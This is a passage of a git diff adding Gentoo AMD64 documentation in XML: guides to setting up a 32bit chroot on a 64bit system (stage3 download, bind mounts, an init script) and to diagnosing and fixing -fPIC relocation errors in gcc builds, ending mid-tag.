+To install a 32bit chroot you need to follow many footsteps that you use to install Gentoo Linux on a x86 computer. For now you need the latest stage3 available on our <uri link="http://www.gentoo.org/main/en/mirrors.xml">mirrors</uri>.
+</p>
+<pre caption="downloading stage3 from a gentoo mirror">
+$ cd /home/user/downloads
+$ wget -c ftp://distfiles.gentoo.org/releases/x86/2006.1/stages/stage3-i686-2006.1.tar.bz2
+</pre>
+<note>Note that we dowload a stage for x86, <c>not</c> for AMD64.</note>
+<p>
+After downloading the stage3 you need to create a new directory to build your new chroot.
+</p>
+<pre caption="creating directory for 32bits chroot">
+$ su root <i>insert your root password</i>
+# cd /mnt
+# mkdir gentoo32
+</pre>
+<p>
+Then move the stage you have already downloaded, unpack it and setup it like this example.
+</p>
+<pre caption="installing from stage3">
+# cd /mnt/gentoo32
+# tar -xvjpf /home/user/downloads/stage3-i686-2006.1.tar.bz2
+# cp -L /etc/resolv.conf /mnt/gentoo32/etc/
+# cp -L /etc/passwd /mnt/gentoo32/etc/
+</pre>
+<p>
+Now you have the chroot ready for setup. Read the next chapter to learn how to set it up.
+</p>
+</body>
+</subsection>
+</section>
+
+<section>
+<title>Setup</title>
+<subsection>
+<title>Doing a setup for your new 32bit chroot</title>
+<body>
+<p>
+If everything went well until here now you will be able to set up your new 32bit chroot and finishing installation of this chroot.
+</p>
+<p>
+The next step is setup your new <c>/mnt/gentoo32/etc/make.conf</c>.
+</p>
+<pre caption="Configuring your new make.conf">
+CFLAGS="-O2 -march=athlon-xp -msse2 -pipe -fomit-frame-pointer"
+CHOST="i686-pc-linux-gnu"
+CXXFLAGS="${CFLAGS}"
+MAKEOPTS="-j2"
+</pre>
+<p>
+Now mount the various bogus file systems:
+</p>
+<pre caption="Mount virtual file systems">
+# mount -o bind /dev /mnt/gentoo32/dev
+# mount -o bind /dev/pts /mnt/gentoo32/dev/pts
+# mount -o bind /dev/shm /mnt/gentoo32/dev/shm
+# mount -o bind /proc /mnt/gentoo32/proc
+# mount -o bind /proc/bus/usb /mnt/gentoo32/proc/bus/usb
+# mount -o bind /sys /mnt/gentoo32/sys
+</pre>
+<p>
+Now you have a true 32bit chroot installed in your 64bits system which is almost ready for use. Next, you need to create a link from your portage available in your 64bit system to your chroot. This way, you only need to update it in one installation instead of duplicating a lot of data.
+</p>
+<pre caption="Link portage to /usr/portage inside the 32bits chroot">
+# mkdir -p /mnt/gentoo32/usr/portage/
+# mount -o bind /usr/portage /mnt/gentoo32/usr/portage/
+</pre>
+<note>Everytime you update your portage by doing a emerge sync, you update your 32bit chroot's portage as well.</note>
+<p>
+If you want to run 32bit applications which use X, you also need to mount /tmp.
+</p>
+<pre caption="Mount /tmp for applications with a GUI">
+# mount -o bind /tmp /mnt/gentoo32/tmp
+</pre>
+<p>
+Now we're ready to switch inside the chroot.
+</p>
+<pre caption="Changing inside the chroot">
+# emerge --noreplace sys-apps/util-linux
+# linux32 chroot /mnt/gentoo32 /bin/bash
+<i>(Make sure we have a i686 setup)</i>
+# uname -m
+i686
+</pre>
+<warn>The <c>linux32</c> util is needed to change the CHOST value. If you forget it, you're likely to be unable to compile anything inside the chroot environment.</warn>
+<p>
+Now you have a new 32bits chroot system ready to be updated. Follow the next steps to update it.
+</p>
+<pre caption="Updating your new 32bits chroot">
+# source /etc/profile
+# env-update
+# emerge -au world
+</pre>
+<p>
+After this you basically have finished the setup of your 32bits chroot. To make things more suitable, we are going to set up a new file in your 64bit system to enable the 32bits chroot when booting.
+</p>
+<pre caption="creating a new file in /etc/init.d">
+# nano -w /etc/init.d/gentoo32
+#!/sbin/runscript
+
+depend() {
+   need localmount
+   need bootmisc
+}
+
+start() {
+    ebegin "Mounting 32bits chroot dirs"
+    mount -o bind /dev /mnt/gentoo32/dev >/dev/null
+    mount -o bind /dev/pts /mnt/gentoo32/dev/pts >/dev/null &amp;
+    mount -o bind /dev/shm /mnt/gentoo32/dev/shm >/dev/null &amp;
+    mount -o bind /proc /mnt/gentoo32/proc >/dev/null
+    mount -o bind /proc/bus/usb /mnt/gentoo32/proc/bus/usb >/dev/null &amp;
+    mount -o bind /sys /mnt/gentoo32/sys >/dev/null &amp;
+    mount -o bind /tmp /mnt/gentoo32/tmp >/dev/null &amp;
+    mount -o bind /usr/portage /mnt/gentoo32/usr/portage/ >/dev/null &amp;
+    eend $? "An error occured while attempting to mount 32bit chroot directories"
+    ebegin "Copying 32bits chroot files"
+    cp -pf /etc/resolv.conf /mnt/gentoo32/etc >/dev/null &amp;
+    cp -pf /etc/passwd /mnt/gentoo32/etc >/dev/null &amp;
+    cp -pf /etc/shadow /mnt/gentoo32/etc >/dev/null &amp;
+    cp -pf /etc/group /mnt/gentoo32/etc >/dev/null &amp;
+    cp -pf /etc/gshadow /mnt/gentoo32/etc >/dev/null &amp;
+    cp -pf /etc/hosts /mnt/gentoo32/etc > /dev/null &amp;
+    cp -Ppf /etc/localtime /mnt/gentoo32/etc >/dev/null &amp;
+    eend $? "An error occured while attempting to copy 32 bits chroot files."
+}
+
+stop() {
+    ebegin "Unmounting 32bits chroot dirs"
+    umount -f /mnt/gentoo32/dev/pts >/dev/null
+    umount -f /mnt/gentoo32/dev/shm >/dev/null
+    umount -f /mnt/gentoo32/dev >/dev/null &amp;
+    umount -f /mnt/gentoo32/proc/bus/usb >/dev/null
+    umount -f /mnt/gentoo32/proc >/dev/null &amp;
+    umount -f /mnt/gentoo32/sys >/dev/null &amp;
+    umount -f /mnt/gentoo32/tmp >/dev/null &amp;
+    umount -f /mnt/gentoo32/usr/portage/ >/dev/null &amp;
+    eend $? "An error occured while attempting to unmount 32bits chroot directories"
+}
+</pre>
+<p>
+Now you only need to run <c>rc-update add gentoo32 default</c> to run it at boot time.
+</p>
+<p>
+Whenever you want to switch to your chroot environment, you only need to run the following command: <c>linux32 chroot /mnt/gentoo32 /bin/bash</c>. 
+</p>
+<p>
+Now you have your 32bit chroot ready to install new applications.
+</p>
+</body>
+</subsection>
+</section>
+
+<section>
+<title>Applications</title>
+<subsection>
+<title>Installing new applications in your chroot</title>
+<body>
+<p>
+Now that you have a fully functional 32bits chroot you can install every application in 32bits mode. Let's see how you can install new packages on your 32bits chroot.
+</p>
+<pre caption="Install foo inside the chroot">
+# linux32 chroot /mnt/gentoo32 /bin/bash
+# source /etc/profile
+# env-update
+# emerge foo
+</pre>
+<note>Always remember to do <c>source /etc/profile</c> and <c>env-update</c> after switching inside the chroot.</note>
+<p>
+You now have installed a new package in your 32bit chroot. If you want to run your new package you need to run it inside of your chroot. If you want to run 
+X applications the best solution to run it is doing the <c>xhost</c> trick. Everytime you need to run a X application run the this command in your 64bit environment:
+</p>
+<pre caption="Xhost trick">
+# xhost local:localhost
+</pre>
+<p>
+After this get inside your chroot again and you should be able to run every X application you build inside your 32bits chroot.
+</p>
+</body>
+</subsection>
+</section>
+
+<section>
+<title>Conclusion</title>
+<subsection>
+<title>Conclusion of this guide</title>
+<body>
+<p>
+With this chroot you can install many packages available only for x86 arch. Some packages like <c>OpenOffice</c> can be installed by using the binary available for Gentoo/AMD64. Some of the codecs available for <c>MPlayer</c> need this 32bit chroot to so you can install <c>win32codecs</c> with this chroot.
+</p>
+</body>
+</subsection>
+</section>
+
+</sections>
diff --git a/xml/htdocs/proj/en/base/amd64/howtos/chroot.xml b/xml/htdocs/proj/en/base/amd64/howtos/chroot.xml
new file mode 100644
index 00000000..9826f08d
--- /dev/null
+++ b/xml/htdocs/proj/en/base/amd64/howtos/chroot.xml
@@ -0,0 +1,237 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/en/base/amd64/howtos/chroot.xml,v 1.13 2008/12/26 19:36:17 nightmorph Exp $ -->
+
+<!-- The content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/licenses/by-sa/2.5 -->
+<guide link="/proj/en/base/amd64/howtos/chroot.xml" lang="en" >
+<title>How to set up a 32bit chroot</title>
+
+<author title="Author">
+	<mail link="metalgod@gentoo.org">Luis Medinas</mail>
+</author>
+
+<abstract>
+This HOWTO shows you how to create a 32bit chroot.
+</abstract>
+
+<license/>
+
+<version>1.1</version>
+<date>2008-12-26</date>
+
+<chapter>
+<title>Introduction</title>
+<section>
+<title>Introduction to 64bit system</title>
+<body>
+<p>
+The Gentoo Linux 32bit chroot guide will help you setting up a true 32bit chroot for your Gentoo/AMD64 system. 
+</p>
+<p>
+As you know 64bit systems don't run 32bit applications natively yet (at least not with portage) so you need to use emulation libraries to make them working or create a true 32bit system inside a chroot to install and run native 32bit applications. For the most common uses you do not need do build a 32bit chroot system. However, if you want to run applications that don't have a binary available to run with 32bit libraries, you should use a 32bit chroot. This guide will teach you how to set up a 32bit chroot and how to install and run applications inside the chroot.
+</p>
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Installation</title>
+<section>
+<title>Installation of your 32bit chroot</title>
+<body>
+<p>
+To install a 32bit chroot you need to follow many footsteps that you use to install Gentoo Linux on a x86 computer. For now you need the latest stage3 available on our <uri link="http://www.gentoo.org/main/en/mirrors.xml">mirrors</uri>.
+</p>
+<pre caption="downloading stage3 from a gentoo mirror">
+$ cd /home/user/downloads
+$ wget -c ftp://distfiles.gentoo.org/releases/x86/2006.1/stages/stage3-i686-2006.1.tar.bz2
+</pre>
+<note>Note that we download a stage for x86, <c>not</c> for AMD64.</note>
+<p>
+After downloading the stage3 you need to create a new directory to build your new chroot.
+</p>
+<pre caption="creating directory for 32bit chroot">
+$ su root <i>insert your root password</i>
+# cd /mnt
+# mkdir gentoo32
+</pre>
+<p>
+Then move the stage you have already downloaded, unpack it and set it up it like this example.
+</p>
+<pre caption="installing from stage3">
+# cd /mnt/gentoo32
+# tar -xvjpf /home/user/downloads/stage3-i686-2006.1.tar.bz2
+# cp -L /etc/resolv.conf /mnt/gentoo32/etc/
+# cp -L /etc/passwd /mnt/gentoo32/etc/
+</pre>
+<p>
+Now you have the chroot ready for setup. Read the next chapter to learn how to set it up.
+</p>
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Setup</title>
+<section>
+<title>Doing a setup for your new 32bit chroot</title>
+<body>
+<p>
+If everything went well until here now you will be able to set up your new 32bit chroot and finish the installation of this chroot.
+</p>
+<p>
+The next step is to setup your new <c>/mnt/gentoo32/etc/make.conf</c>.
+</p>
+<pre caption="Configuring your new make.conf">
+CFLAGS="-O2 -march=athlon-xp -msse2 -pipe -fomit-frame-pointer"
+CHOST="i686-pc-linux-gnu"
+CXXFLAGS="${CFLAGS}"
+MAKEOPTS="-j2"
+</pre>
+<p>
+Now mount the various bogus file systems:
+</p>
+<pre caption="Mount virtual file systems">
+# mount -o bind /dev /mnt/gentoo32/dev
+# mount -o bind /dev/pts /mnt/gentoo32/dev/pts
+# mount -o bind /dev/shm /mnt/gentoo32/dev/shm
+# mount -o bind /proc /mnt/gentoo32/proc
+# mount -o bind /proc/bus/usb /mnt/gentoo32/proc/bus/usb
+# mount -o bind /sys /mnt/gentoo32/sys
+</pre>
+<p>
+Now you have a true 32bit chroot installed in your 64bits system which is almost ready for use. Next, you need to create a link from your portage available in your 64bit system to your chroot. This way, you only need to update it in one installation instead of duplicating a lot of data.
+</p>
+<pre caption="Link portage to /usr/portage inside the 32bit chroot">
+# mkdir -p /mnt/gentoo32/usr/portage/
+# mount -o bind /usr/portage /mnt/gentoo32/usr/portage/
+</pre>
+<note>Everytime you update your portage by doing a emerge sync, you update your 32bit chroot's portage as well.</note>
+<p>
+If you want to run 32bit applications which use X, you also need to mount /tmp.
+</p>
+<pre caption="Mount /tmp for applications with a GUI">
+# mount -o bind /tmp /mnt/gentoo32/tmp
+</pre>
+<p>
+Now we're ready to switch inside the chroot.
+</p>
+<pre caption="Changing inside the chroot">
+<i>(Only perform this step if you don't have util-linux already installed)</i>
+# emerge util-linux
+# linux32 chroot /mnt/gentoo32 /bin/bash
+<i>(Make sure we have a i686 setup)</i>
+# uname -m
+i686
+</pre>
+<warn>The <c>linux32</c> util is needed to change the CHOST value. If you forget it, you're likely to be unable to compile anything inside the chroot environment.</warn>
+<p>
+Now you have a new 32bit chroot system ready to be updated. Follow the next steps to update it.
+</p>
+<pre caption="Updating your new 32bit chroot">
+# source /etc/profile
+# env-update
+# emerge -au world
+</pre>
+<p>
+After this you basically have finished the setup of your 32bit chroot. To make things more suitable, we are going to set up a new file in your 64bit system to enable the 32bit chroot when booting.
+</p>
+<pre caption="creating a new file in /etc/init.d">
+# nano -w /etc/init.d/gentoo32
+#!/sbin/runscript
+
+depend() {
+   need localmount
+   need bootmisc
+}
+
+start() {
+    ebegin "Mounting 32bit chroot dirs"
+    mount -o bind /dev /mnt/gentoo32/dev >/dev/null
+    mount -o bind /dev/pts /mnt/gentoo32/dev/pts >/dev/null &amp;
+    mount -o bind /dev/shm /mnt/gentoo32/dev/shm >/dev/null &amp;
+    mount -o bind /proc /mnt/gentoo32/proc >/dev/null
+    mount -o bind /proc/bus/usb /mnt/gentoo32/proc/bus/usb >/dev/null &amp;
+    mount -o bind /sys /mnt/gentoo32/sys >/dev/null &amp;
+    mount -o bind /tmp /mnt/gentoo32/tmp >/dev/null &amp;
+    mount -o bind /usr/portage /mnt/gentoo32/usr/portage/ >/dev/null &amp;
+    eend $? "An error occured while attempting to mount 32bit chroot directories"
+    ebegin "Copying 32bit chroot files"
+    cp -pf /etc/resolv.conf /mnt/gentoo32/etc >/dev/null &amp;
+    cp -pf /etc/passwd /mnt/gentoo32/etc >/dev/null &amp;
+    cp -pf /etc/shadow /mnt/gentoo32/etc >/dev/null &amp;
+    cp -pf /etc/group /mnt/gentoo32/etc >/dev/null &amp;
+    cp -pf /etc/gshadow /mnt/gentoo32/etc >/dev/null &amp;
+    cp -pf /etc/hosts /mnt/gentoo32/etc > /dev/null &amp;
+    cp -Ppf /etc/localtime /mnt/gentoo32/etc >/dev/null &amp;
+    eend $? "An error occured while attempting to copy 32 bits chroot files."
+}
+
+stop() {
+    ebegin "Unmounting 32bit chroot dirs"
+    umount -f /mnt/gentoo32/dev/pts >/dev/null
+    umount -f /mnt/gentoo32/dev/shm >/dev/null
+    umount -f /mnt/gentoo32/dev >/dev/null &amp;
+    umount -f /mnt/gentoo32/proc/bus/usb >/dev/null
+    umount -f /mnt/gentoo32/proc >/dev/null &amp;
+    umount -f /mnt/gentoo32/sys >/dev/null &amp;
+    umount -f /mnt/gentoo32/tmp >/dev/null &amp;
+    umount -f /mnt/gentoo32/usr/portage/ >/dev/null &amp;
+    eend $? "An error occured while attempting to unmount 32bit chroot directories"
+}
+</pre>
+<p>
+Now you only need to run <c>rc-update add gentoo32 default</c> to run it at boot time.
+</p>
+<p>
+Whenever you want to switch to your chroot environment, you only need to run the following command: <c>linux32 chroot /mnt/gentoo32 /bin/bash</c>. 
+</p>
+<p>
+Now you have your 32bit chroot ready to install new applications.
+</p>
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Applications</title>
+<section>
+<title>Installing new applications in your chroot</title>
+<body>
+<p>
+Now that you have a fully functional 32bit chroot you can install every application in 32bit mode. Let's see how you can install new packages on your 32bit chroot.
+</p>
+<pre caption="Install foo inside the chroot">
+# linux32 chroot /mnt/gentoo32 /bin/bash
+# source /etc/profile
+# env-update
+# emerge foo
+</pre>
+<note>Always remember to do <c>source /etc/profile</c> and <c>env-update</c> after switching inside the chroot.</note>
+<p>
+You now have installed a new package in your 32bit chroot. If you want to run your new package you need to run it inside of your chroot. If you want to run 
+X applications the best solution to run it is doing the <c>xhost</c> trick. Everytime you need to run a X application run the this command in your 64bit environment:
+</p>
+<pre caption="Xhost trick">
+# xhost local:localhost
+</pre>
+<p>
+After this get inside your chroot again and you should be able to run every X application you build inside your 32bit chroot.
+</p>
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Conclusion</title>
+<section>
+<title>Conclusion of this guide</title>
+<body>
+<p>
+With this chroot you can install many packages available only for x86 arch. Some packages like <c>OpenOffice</c> can be installed by using the binary available for Gentoo/AMD64. Some of the codecs available for <c>MPlayer</c> need this 32bit chroot so you can install <c>win32codecs</c> with this chroot.
+</p>
+</body>
+</section>
+</chapter>
+</guide>
diff --git a/xml/htdocs/proj/en/base/amd64/howtos/fpic-howto.xml b/xml/htdocs/proj/en/base/amd64/howtos/fpic-howto.xml
new file mode 100644
index 00000000..9f901084
--- /dev/null
+++ b/xml/htdocs/proj/en/base/amd64/howtos/fpic-howto.xml
@@ -0,0 +1,230 @@
+<?xml version='1.0' encoding='UTF-8'?>
+<!DOCTYPE sections SYSTEM "/dtd/book.dtd">
+
+<!-- The content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/licenses/by-sa/2.5 -->
+
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/en/base/amd64/howtos/fpic-howto.xml,v 1.3 2006/07/23 09:51:09 blubb Exp $ -->
+
+<sections>
+
+<version>1.2</version>
+<date>2006-07-23</date>
+
+<section>
+<title>The Problem</title>
+<body>
+
+<p>
+Sometimes it occurs that gcc bails out with an error message like the
+following:
+</p>
+
+<pre caption="A typical gcc error message">
+.libs/assert.o: relocation R_X86_64_32 against `a local symbol' can not be used
+when making a shared object; recompile with -fPIC .libs/assert.o: could not
+read symbols: Bad value
+</pre>
+
+<p>
+There are several different types of causes for such an error. This HOWTO will
+explain all of them and show how to fix them.
+</p>
+
+</body>
+</section>
+<section>
+<title>What is PIC?</title>
+<body>
+
+<p>
+PIC is an abbreviation for <e>Position-Independent Code</e>. The following is
+an exempt of the <uri link="http://en.wikipedia.org/wiki/Position-independent_code">Wikipedia article</uri>
+about position-independent code:
+</p>
+
+<p by="Wikipedia Encyclopaedia">
+"In computing, position-independent code (PIC) or position-independent
+executable (PIE) is object code that can execute at different locations in
+memory. PIC is commonly used for shared libraries, so that the same library
+code can be mapped to a location in each application (using the virtual memory
+system) where it won't overlap the application or other shared libraries. PIC
+was also used on older computer systems lacking an MMU, so that the operating
+system could keep applications away from each other.<br/><br/>
+Position-independent code can be copied to any memory location without
+modification and executed, unlike relocatable code, which requires special
+processing by a link editor or program loader to make it suitable for execution
+at a given location. Code must generally be written or compiled in a special
+fashion in order to be position independent. Instructions that refer to
+specific memory addresses, such as absolute branches, must be replaced with
+equivalent program counter relative instructions. The extra indirection may
+cause PIC code to be less efficient, although modern processors are designed to
+ameliorate this."
+</p>
+
+<p>
+On certain architectures (AMD64 amongst them), shared libraries <e>must</e> be
+"PIC-enabled". 
+<!-- [TODO: reasons would be awesome]. -->
+</p>
+
+</body>
+</section>
+<section>
+<title>What are "relocations"?</title>
+<body>
+
+<p>
+Again, an exempt of the Wikipedia article, because it is just the best I could
+find:
+</p>
+
+<p by="Wikipedia Encyclopaedia">
+"In computer science, relocation refers to the process of replacing symbolic
+references or names of libraries with actual usable addresses in memory before
+running a program. It is typically done by the linker during compilation,
+although it can be done at run-time by a loader. Compilers or assemblers
+typically generate the executable with zero as the lower-most, starting
+address. Before the execution of object code, these addresses should be
+adjusted so that they denote the correct runtime addresses."
+</p>
+
+<p>
+With these terms defined, we can finally have a look at the different scenarios
+where breakage occurs:
+</p>
+
+</body>
+</section>
+<section>
+<title>Case 1: Broken compiler</title>
+<body>
+
+<p>
+At least GCC 3.4 is known to have a broken implementation of the
+<c>-fvisibility-inlines-hidden</c> flag. The use of this flag is therefore
+highly discouraged, reported bugs are usually marked as RESOLVED INVALID. See
+<uri link="http://bugs.gentoo.org/108872">bug 108872</uri> for an example of a
+typical error message caused by this flag.
+</p>
+
+</body>
+</section>
+<section>
+<title>Case 2: Broken `-fPIC' support checks in configure</title>
+<body>
+
+<p>
+Many <c>configure</c> tools check whether the compiler supports the <c>-fPIC</c>
+flag or not. They do so by compiling a minimalistic program with the
+<c>-fPIC</c> flag and checking <c>stderr</c>. If the compiler prints *any*
+warnings, it is assumed that the <c>-fPIC</c> flag is not supported by the
+compiler and is therefore abandoned. Unfortunately, if the user specifies a
+non-existing flag (i.e. C++-only flags in <c>CFLAGS</c> or flags introduced by
+newer versions of GCC but unknown to older ones), GCC prints a warning too,
+resulting in borkage.
+</p>
+
+<p>
+To prevent this kind of breakage, the AMD64 profiles use a bashrc that filters
+out invalid flags in <c>C[XX]FLAGS</c>.
+</p>
+
+<p>
+See bug <uri link="http://bugs.gentoo.org/122208">bug 122208</uri> for an
+example.
+</p>
+
+</body>
+</section>
+<section>
+<title>Case 3: Lack of `-fPIC' flag in the software to be built</title>
+<body>
+
+<p>
+This is the most common case. It is a real bug in the build system and should
+be fixed in the ebuild, preferably with a patch that is sent upstream.
+Assuming the error message looks like this:
+</p>
+
+<pre caption="A sample error message">
+.libs/assert.o: relocation R_X86_64_32 against `a local symbol' can not be used
+when making a shared object; recompile with -fPIC .libs/assert.o: could not
+read symbols: Bad value
+</pre>
+
+<p>
+This means that the file <path>assert.o</path> was not compiled with the
+<c>-fPIC</c> flag, which it should. When you fix this kind of error, make sure
+only objects that are used in shared libraries are compiled with <c>-fPIC</c>.
+<!-- [TODO: Again, reasons would be lovely] -->
+</p>
+
+<p>
+In this case, globally adding <c>-fPIC</c> to <c>C[XX]FLAGS</c> resolves the
+issue, although this practice is discouraged because the executables end up
+being PIC-enabled, too.
+</p>
+
+<note>
+Adding the <c>-fPIC</c> flag to the linking command or <c>LDFLAGS</c> won't
+help.
+</note>
+
+</body>
+</section>
+<section>
+<title>Case 4: Linking dynamically against static archives</title>
+<body>
+
+<p>
+Sometimes a package tries to build shared libraries using statically built
+archives which are not PIC-enabled. There are two main reasons why this
+happens:
+</p>
+
+<p>
+Often it is the result of mixing <c>USE=static</c> and <c>USE=-static</c>. If a
+library package can be built statically by setting <c>USE=static</c>, it
+usually doesn't create a <path>.so</path> file but only a <path>.a</path>
+archive. However, when GCC is given the <c>-l</c> flag to link to said (dynamic
+or static) library, it falls back to the static archive when it can't find a
+shared lib. In this case, the preferred solution is to build the static library
+using the <c>-fPIC</c> flag too.
+</p>
+
+<warn>
+Only build the static archive with <c>-fPIC</c> on AMD64. On other
+architectures this is unneeded and will have a performance impact at execution
+time.
+</warn>
+
+<p>
+See <uri link="http://bugs.gentoo.org/88360">bug 88360</uri> and <uri
+link="http://bugs.mysql.com/bug.php?id=8796">mysql bug 8796</uri> for an example.
+</p>
+
+<p>
+Sometimes it is also the case that a library isn't intended to be a shared
+library at all, e.g. because it makes heavy usage of global variables. In this
+case the solution is to turn the to-be-built shared library into a static one.
+</p>
+
+<p>
+See <uri link="http://bugs.gentoo.org/131460">bug 131460</uri> for an example.
+</p>
+
+<pre caption="A sample error message">
+gcc   -fPIC -DSHARED_OBJECT -c lex.yy.c
+gcc  -shared -o html2txt.so lex.yy.o -lfl
+usr/lib/gcc/x86_64-pc-linux-gnu/4.1.1/../../../../x86_64-pc-linux-gnu/bin/ld:
+/usr/lib/gcc/x86_64-pc-linux-gnu/4.1.1/../../../../lib64/libfl.a(libyywrap.o):
+relocation R_X86_64_32 against `a local symbol' can not be used when making a
+shared object; recompile with -fPIC
+/usr/lib/gcc/x86_64-pc-linux-gnu/4.1.1/../../../../lib64/libfl.a: could not
+read symbols: Bad value
+</pre>
+
+</body>
+</section>
+</sections>
diff --git a/xml/htdocs/proj/en/base/amd64/howtos/fpic.xml b/xml/htdocs/proj/en/base/amd64/howtos/fpic.xml
new file mode 100644
index 00000000..461fa110
--- /dev/null
+++ b/xml/htdocs/proj/en/base/amd64/howtos/fpic.xml
@@ -0,0 +1,245 @@
+<?xml version='1.0' encoding='UTF-8'?>
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+
+<!-- The content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/licenses/by-sa/2.5 -->
+
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/en/base/amd64/howtos/fpic.xml,v 1.2 2007/02/01 19:07:54 blubb Exp $ -->
+<guide link="/proj/en/base/amd64/howtos/fpic.xml" lang="en" >
+<title>How to fix -fPIC errors</title>
+
+<author title="Author">
+	<mail link="blubb@gentoo.org">Simon Stelling</mail>
+</author>
+
+<abstract>
+This guide is targetted at developers and interested users who want to fix so-called "-fPIC errors" properly.
+</abstract>
+
+<license/>
+
+<version>1.3</version>
+<date>2007-02-01</date>
+
+<chapter>
+<title/>
+<section>
+<title>The Problem</title>
+<body>
+
+<p>
+Sometimes it occurs that gcc bails out with an error message like the
+following:
+</p>
+
+<pre caption="A typical gcc error message">
+.libs/assert.o: relocation R_X86_64_32 against `a local symbol' can not be used
+when making a shared object; recompile with -fPIC .libs/assert.o: could not
+read symbols: Bad value
+</pre>
+
+<p>
+There are several different types of causes for such an error. This HOWTO will
+explain all of them and show how to fix them.
+</p>
+
+</body>
+</section>
+<section>
+<title>What is PIC?</title>
+<body>
+
+<p>
+PIC is an abbreviation for <e>Position-Independent Code</e>. The following is
+an exempt of the <uri link="http://en.wikipedia.org/wiki/Position-independent_code">Wikipedia article</uri>
+about position-independent code:
+</p>
+
+<p by="Wikipedia Encyclopaedia">
+"In computing, position-independent code (PIC) or position-independent
+executable (PIE) is object code that can execute at different locations in
+memory. PIC is commonly used for shared libraries, so that the same library
+code can be mapped to a location in each application (using the virtual memory
+system) where it won't overlap the application or other shared libraries. PIC
+was also used on older computer systems lacking an MMU, so that the operating
+system could keep applications away from each other.<br/><br/>
+Position-independent code can be copied to any memory location without
+modification and executed, unlike relocatable code, which requires special
+processing by a link editor or program loader to make it suitable for execution
+at a given location. Code must generally be written or compiled in a special
+fashion in order to be position independent. Instructions that refer to
+specific memory addresses, such as absolute branches, must be replaced with
+equivalent program counter relative instructions. The extra indirection may
+cause PIC code to be less efficient, although modern processors are designed to
+ameliorate this."
+</p>
+
+<p>
+On certain architectures (AMD64 amongst them), shared libraries <e>must</e> be
+"PIC-enabled". 
+<!-- [TODO: reasons would be awesome]. -->
+</p>
+
+</body>
+</section>
+<section>
+<title>What are "relocations"?</title>
+<body>
+
+<p>
+Again, an exempt of the Wikipedia article, because it is just the best I could
+find:
+</p>
+
+<p by="Wikipedia Encyclopaedia">
+"In computer science, relocation refers to the process of replacing symbolic
+references or names of libraries with actual usable addresses in memory before
+running a program. It is typically done by the linker during compilation,
+although it can be done at run-time by a loader. Compilers or assemblers
+typically generate the executable with zero as the lower-most, starting
+address. Before the execution of object code, these addresses should be
+adjusted so that they denote the correct runtime addresses."
+</p>
+
+<p>
+With these terms defined, we can finally have a look at the different scenarios
+where breakage occurs:
+</p>
+
+</body>
+</section>
+<section>
+<title>Case 1: Broken compiler</title>
+<body>
+
+<p>
+At least GCC 3.4 is known to have a broken implementation of the
+<c>-fvisibility-inlines-hidden</c> flag. The use of this flag is therefore
+highly discouraged, reported bugs are usually marked as RESOLVED INVALID. See
+<uri link="http://bugs.gentoo.org/108872">bug 108872</uri> for an example of a
+typical error message caused by this flag.
+</p>
+
+<p>Also, GCC 4.1.1 is known to be broken with <c>-O0</c>. Check out <uri link="http://bugs.gentoo.org/151832">bug 151832</uri>. The problem is fixed in GCC 4.1.2 and 4.2.</p>
+
+</body>
+</section>
+<section>
+<title>Case 2: Broken `-fPIC' support checks in configure</title>
+<body>
+
+<p>
+Many <c>configure</c> tools check whether the compiler supports the <c>-fPIC</c>
+flag or not. They do so by compiling a minimalistic program with the
+<c>-fPIC</c> flag and checking <c>stderr</c>. If the compiler prints *any*
+warnings, it is assumed that the <c>-fPIC</c> flag is not supported by the
+compiler and is therefore abandoned. Unfortunately, if the user specifies a
+non-existing flag (i.e. C++-only flags in <c>CFLAGS</c> or flags introduced by
+newer versions of GCC but unknown to older ones), GCC prints a warning too,
+resulting in borkage.
+</p>
+
+<p>
+To prevent this kind of breakage, the AMD64 profiles use a bashrc that filters
+out invalid flags in <c>C[XX]FLAGS</c>.
+</p>
+
+<p>
+See bug <uri link="http://bugs.gentoo.org/122208">bug 122208</uri> for an
+example.
+</p>
+
+</body>
+</section>
+<section>
+<title>Case 3: Lack of `-fPIC' flag in the software to be built</title>
+<body>
+
+<p>
+This is the most common case. It is a real bug in the build system and should
+be fixed in the ebuild, preferably with a patch that is sent upstream.
+Assuming the error message looks like this:
+</p>
+
+<pre caption="A sample error message">
+.libs/assert.o: relocation R_X86_64_32 against `a local symbol' can not be used
+when making a shared object; recompile with -fPIC .libs/assert.o: could not
+read symbols: Bad value
+</pre>
+
+<p>
+This means that the file <path>assert.o</path> was not compiled with the
+<c>-fPIC</c> flag, which it should. When you fix this kind of error, make sure
+only objects that are used in shared libraries are compiled with <c>-fPIC</c>.
+<!-- [TODO: Again, reasons would be lovely] -->
+</p>
+
+<p>
+In this case, globally adding <c>-fPIC</c> to <c>C[XX]FLAGS</c> resolves the
+issue, although this practice is discouraged because the executables end up
+being PIC-enabled, too.
+</p>
+
+<note>
+Adding the <c>-fPIC</c> flag to the linking command or <c>LDFLAGS</c> won't
+help.
+</note>
+
+</body>
+</section>
+<section>
+<title>Case 4: Linking dynamically against static archives</title>
+<body>
+
+<p>
+Sometimes a package tries to build shared libraries using statically built
+archives which are not PIC-enabled. There are two main reasons why this
+happens:
+</p>
+
+<p>
+Often it is the result of mixing <c>USE=static</c> and <c>USE=-static</c>. If a
+library package can be built statically by setting <c>USE=static</c>, it
+usually doesn't create a <path>.so</path> file but only a <path>.a</path>
+archive. However, when GCC is given the <c>-l</c> flag to link to said (dynamic
+or static) library, it falls back to the static archive when it can't find a
+shared lib. In this case, the preferred solution is to build the static library
+using the <c>-fPIC</c> flag too.
+</p>
+
+<warn>
+Only build the static archive with <c>-fPIC</c> on AMD64. On other
+architectures this is unneeded and will have a performance impact at execution
+time.
+</warn>
+
+<p>
+See <uri link="http://bugs.gentoo.org/88360">bug 88360</uri> and <uri
